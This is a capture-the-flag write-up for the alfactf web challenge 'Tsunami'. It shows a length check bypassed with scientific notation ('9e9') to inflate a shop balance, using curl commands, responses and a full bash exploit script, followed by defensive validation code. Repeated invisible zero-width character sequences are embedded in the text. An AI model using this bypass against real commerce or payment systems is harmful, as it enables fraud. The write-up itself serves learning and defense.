← Back to Writeups
CUSTOMEasyWeb

Tsunami

XESXOR9/10/20263 min read
#web#custom#easy#scientific-notation-bypass-for#type-confusion-(string-to-floa#linux

Tsunami

Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-18 | Status: Solved Techniques: Scientific notation bypass for length validation, Type confusion (string to float conversion)

Summary

Task: Web shop with bonus system where bonus_amount is validated by string length (max 3 chars) but then converted to float. Solution: Use scientific notation (9e9 = 9 billion) to bypass length check and get unlimited balance to buy the flag item.

Tsunami - alfactf.ru

Description

Вы почти достигаете берега, но боковым зрением замечаете что-то странное. Оборачиваетесь — о нет, это же огромная волна из багов! Они, как всегда, возникли в последний момент и пытаются помешать вам доделать начатое.

Ну уж нет: скорее купите якорь, он поможет вам устоять. А там и до берега недалеко.

Магазин на берегу: tsunami-aidck3sk.alfactf.ru/

Analysis

Application Structure

FastAPI + Redis web shop:

  • Session is stored in Redis with balance and bonus received flag
  • Bonus can be received once via /api/apply-bonus
  • Need to buy "Anchor" (id=12, price 15,000) to get the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerable Code

python
# models.py
class BonusRequest(BaseModel):
    bonus_amount: str  # String!

# main.py
@app.post("/api/apply-bonus")
async def apply_bonus(bonus_data: BonusRequest, session: SessionData = Depends(get_existing_session)):
    if session.bonus_received:
        raise HTTPException(status_code=400, detail="Bonus already applied")
    
    if len(bonus_data.bonus_amount) > 3:  # Length check - max 3 characters
        raise HTTPException(status_code=400, detail="Invalid bonus amount")
    
    session.balance += float(bonus_data.bonus_amount)  # Conversion to float!
    session.bonus_received = True
    update_session(session)
    return {"success": True, "balance": session.balance}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

Type Confusion / Scientific Notation Bypass

The check len(bonus_amount) > 3 limits the string to 3 characters. But then the string is converted to float().

Python supports scientific notation:

  • "9e9" = 3 characters = 9,000,000,000 (9 billion!)
  • "1e4" = 3 characters = 10,000
  • "9e3" = 3 characters = 9,000

This way, we can bypass the length check and get a huge balance.

Solution

Step 1: Get Session

bash
curl -s -c cookies.txt "https://tsunami-aidck3sk.alfactf.ru/api/session"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"session_id":"uuid-here","balance":0.0,"bonus_received":false}

Step 2: Apply Bonus with Scientific Notation

bash
curl -s -b cookies.txt -X POST "https://tsunami-aidck3sk.alfactf.ru/api/apply-bonus" \
  -H "Content-Type: application/json" \
  -d '{"bonus_amount": "9e9"}'

Response:

json
{"success":true,"balance":9000000000.0}

9 billion in balance!

Step 3: Buy Anchor and Get Flag

bash
curl -s -b cookies.txt -X POST "https://tsunami-aidck3sk.alfactf.ru/api/checkout" \
  -H "Content-Type: application/json" \
  -d '{"items": [{"product_id": 12, "quantity": 1}]}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"success":true,"balance":8999985000.0,"total":15000,"flag":"alfa{REDACTED}"}

Full Exploit

bash
#!/bin/bash
# tsunami_exploit.sh

TARGET="https://tsunami-aidck3sk.alfactf.ru"
COOKIES=$(mktemp)

# 1. Get session
echo "[*] Getting session..."
curl -s -c "$COOKIES" "$TARGET/api/session" | jq .

# 2. Apply bonus with scientific notation
echo "[*] Applying bonus with scientific notation (9e9 = 9 billion)..."
curl -s -b "$COOKIES" -X POST "$TARGET/api/apply-bonus" \
  -H "Content-Type: application/json" \
  -d '{"bonus_amount": "9e9"}' | jq .
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3. Buy anchor (product_id=12, price=15000)
echo "[*] Buying anchor to get flag..."
curl -s -b "$COOKIES" -X POST "$TARGET/api/checkout" \
  -H "Content-Type: application/json" \
  -d '{"items": [{"product_id": 12, "quantity": 1}]}' | jq .

rm "$COOKIES"

Scientific Notation Variants

StringLengthValue
9e939,000,000,000
1e931,000,000,000
9e4390,000
1e4310,000
9e339,000
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

Proper validation:

python
# Option 1: Validate numeric value
bonus = float(bonus_data.bonus_amount)
if bonus > 1000:  # Maximum bonus
    raise HTTPException(status_code=400, detail="Bonus too large")

# Option 2: Use int and validate format
if not bonus_data.bonus_amount.isdigit():
    raise HTTPException(status_code=400, detail="Invalid format")
bonus = int(bonus_data.bonus_amount)

# Option 3: Accept number directly
class BonusRequest(BaseModel):
    bonus_amount: int = Field(le=999)  # Pydantic validation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References